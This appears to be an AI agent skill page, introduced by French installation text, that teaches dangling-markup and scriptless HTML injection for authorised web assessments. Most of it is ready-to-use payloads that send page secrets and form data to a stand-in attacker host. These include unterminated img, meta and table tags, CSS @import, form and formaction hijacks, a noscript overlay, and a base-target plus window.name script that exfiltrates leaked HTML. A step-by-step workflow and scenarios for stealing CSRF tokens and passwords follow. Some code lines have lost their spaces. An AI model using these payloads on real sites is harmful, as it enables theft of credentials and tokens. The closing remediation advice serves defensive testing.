Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data, subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks. Activates when HTML injection is found but JavaScript execution is blocked or filtered.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data, subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks. Activates when HTML injection is found but JavaScript execution is blocked or filtered.
During authorized assessments where you can inject HTML tags but cannot execute JavaScript (XSS blocked/filtered)
When a CSP prevents script execution but still allows markup, CSS, meta tags, forms, or base tags
When a secret (token, PII, CSRF value) is rendered in clear text in the HTML near your injection point
When you can inject into a page that contains a form whose action/fields you want to subvert
When you want to mislead client-side script flow by overriding element IDs/names or JS globals
Prerequisites
Authorization: Engagement scope covering client-side injection and data exfiltration
An HTML injection point: A reflected/stored sink that renders raw tags (even if JS is filtered)
Collaborator/OOB server: Burp Collaborator or your own endpoint to receive exfiltrated content
CSP awareness: Read the target's CSP to choose a vector it does not block (img vs meta vs CSS vs base)
dangling_markup wordlist: carlospolop/Auto_Wordlists dangling_markup.txt for vector fuzzing
Critical: Variants Most Often Missed
The core idea: inject an UNTERMINATED attribute/tag so the browser swallows
all subsequent HTML (including the secret) up to the next matching quote, and
sends it to your server. Pick a vector your CSP allows.
<!-- 1. Unterminated img src: leaks everything up to the next single quote --><imgsrc='http://attacker.example/log?html=
<!-- 2. meta refresh (when img is CSP-blocked); try ftp:// since Chrome blocks http with < or \n -->
<meta http-equiv="refresh" content='0; url=http://attacker.example/log?text=
<metahttp-equiv="refresh"content='0;URL=ftp://attacker.example?a=
<!-- 3. CSS @import: sends everything until a ';' --><style>@import//attacker.example?
<!-- 4. table background: leaks until the quote closes -->
<table background='//attacker.example?
<!-- 5. base target / base href: redirect forms/links to attacker (needs user click for some) -->
<base target=' <!-- captures HTML until next quote -->
<base href="http://attacker.example/"> <!-- relative form actions now post to attacker -->
<!-- 6. Steal forms: inject a new form header overriding the next form's action -->
<form action='http://attacker.example/steal'>
<!-- 7. button formaction overrides the form's submit target -->
<button name="x" type="submit" formaction="https://attacker.example/steal">click</button>
<!-- 8. Steal clear-text secrets via a new input that swallows text up to next double quote -->
<input type='hidden' name='review_body' value="
<!-- 9. option tag: data captured until </option> -->
<form action=http://attacker.example><input type="submit"><select name=x><option
<!-- 10. noscript form (when JS disabled) covers the page with a giant submit button -->
<noscript><form action=http://attacker.example><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value=""><textarea name=contents></noscript>
CSP bypass with base + window.name (requires one click):
<!-- Injected into the victim (same-origin) page: --><ahref=http://attacker.example/payload.html><fontsize=100color=red>You must click me</font></a><basetarget='
<!-- 'target' capturesHTMLuntilthenextsinglequote; thatHTMLbecomeswindow.name-->
<!-- attacker.example/payload.html reads the leaked window.name: --><script>if (window.name)
newImage().src='//attacker.example/?'+encodeURIComponent(window.name);
</script>
Dangling-iframe leak (read sensitive data placed into an iframe name):
Exfil fired with secret: your OOB server receives a request whose query/body contains the HTML chunk between the injection point and the terminating quote — and that chunk contains the target secret (CSRF token, PII). That is a confirmed leak, not just a callback.
Form hijack: submitting the page sends form fields to YOUR endpoint (check your server logs for the field values), proving the action override worked.
base/window.name: after the victim clicks, your payload page receives window.name containing the leaked same-origin HTML.
Flow subversion: the injected hidden input/ID override changes the app's behavior (e.g., share-with target becomes attacker), verifiable in the resulting request.
Watch for browser quirks: Chrome blocks http: URLs containing < or newline, so prefer ftp:// or other schemes; verify the vector against the target's actual CSP rather than assuming.
Workflow
Step 1: Confirm HTML Injection Without JS
Inject a benign marker tag (e.g., <b>x</b> or <img src=//collab>) and verify it renders as markup. Confirm script execution is actually blocked (CSP or filtering) so dangling markup is the right approach.
Step 2: Locate the Secret Relative to the Injection
Identify what sensitive content (CSRF token, email, API key) appears AFTER your injection point in the HTML — that is what an unterminated tag will capture.
Step 3: Choose a CSP-Compatible Vector
img-src blocks images? -> use <meta http-equiv=refresh> or CSS @import or <table background>
http blocked with < or \n? -> use ftp:// scheme
need form data? -> inject <form action=...> / <button formaction> / new <input>
strict CSP, allow click? -> base target + window.name technique
Step 4: Fire the Exfiltration
<!-- Example: leak everything up to next quote into your server --><imgsrc='https://collab.example/log?html=
Watch your collaborator/OOB logs for the captured chunk.
Step 5: Steal Forms & Subvert Flow
<!-- Override the next form's action --><formaction='https://attacker.example/steal'><!-- Or inject a field/value that changes app behavior --><inputtype="hidden"name="invite_user"value="attacker" /><inputtype="hidden"id="share_with"value="attacker" />
Step 6: CSP Bypass via base + window.name
Deliver the click-bait link with the trailing <base target=' so the same-origin HTML (including secrets) is stored into window.name; read it from your payload page after the click.
Key Concepts
Concept
Description
Dangling Markup
Unterminated tag/attribute that swallows following HTML up to the next quote/terminator
Scriptless Exfiltration
Leaking data without JS using img/meta/CSS/table/base requests
Form Hijacking
Injecting a form header/formaction/field to redirect or subvert submitted data
base Tag Abuse
<base href> redirects relative form/link targets; <base target> captures HTML
window.name CSP Bypass
base target stores same-origin HTML into window.name, read by an attacker page after a click
Dangling Iframe
Forcing sensitive data into an iframe's name, then reading it cross-context
noscript Form
Full-page submit overlay that works when JavaScript is disabled
Tools & Systems
Tool
Purpose
Burp Collaborator / OOB server
Receive exfiltrated HTML chunks and form submissions
Auto_Wordlists/dangling_markup.txt
Fuzz dangling-markup vectors against an injection point
HTTPLeaks (cure53)
Catalog of HTML elements that force outbound connections
Browser devtools
Inspect how the parser consumes the unterminated tag and what gets captured
CSP evaluators
Determine which vectors (img/meta/CSS/base) the target policy permits
Common Scenarios
Scenario 1: CSRF Token Exfiltration
HTML injection lands just before a hidden CSRF token field. Injecting <img src='//collab?html= captures the markup up to the next quote — including the token — and sends it to the attacker, enabling CSRF.
Scenario 2: Password Form Theft Under CSP
A page with a strict CSP forbids scripts. Injecting <form action='//attacker/steal'> before the login form makes the browser submit the credentials to the attacker when the user logs in (as in the Mastodon CSP-bypass research).
Scenario 3: base + window.name CSP Evasion
In a CSP-locked same-origin page, a click-bait link plus trailing <base target=' stores the page's secret HTML into window.name; the attacker's clicked page reads window.name and exfiltrates it.
Output Format
## Dangling Markup Injection Finding
**Vulnerability**: Scriptless HTML Injection / Dangling Markup (data exfiltration under CSP)
**Severity**: High (CVSS 7.4)
**Location**: GET /review?comment= (reflected HTML injection)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Confirm <b>x</b> renders and that CSP blocks script execution
2. Inject: <img src='https://collab.example/log?html=
3. Browser sends all HTML up to the next single quote to the collaborator
4. Captured chunk contains the CSRF token rendered after the injection point
### Evidence
| Vector | Result |
|--------|--------|
| <img src='...?html= | OOB request received |
| Captured content | includes name="csrf" value="<leaked>" |
| CSP | script-src blocked; img-src permitted |
### Impact
Clear-text secret exfiltration and form theft without JavaScript, bypassing the
CSP and enabling CSRF / credential capture.
### Recommendation
1. Context-aware output encoding for all reflected/stored HTML; do not allow raw tags
2. Use an allowlist HTML sanitizer (e.g., DOMPurify) that strips dangling/unterminated markup
3. Tighten CSP: restrict img-src, style-src, form-action, and base-uri to 'self'
4. Set base-uri 'none' or 'self' and form-action 'self' to neutralize base/form hijacking
5. Avoid rendering secrets (tokens, PII) inline in HTML near user-controlled content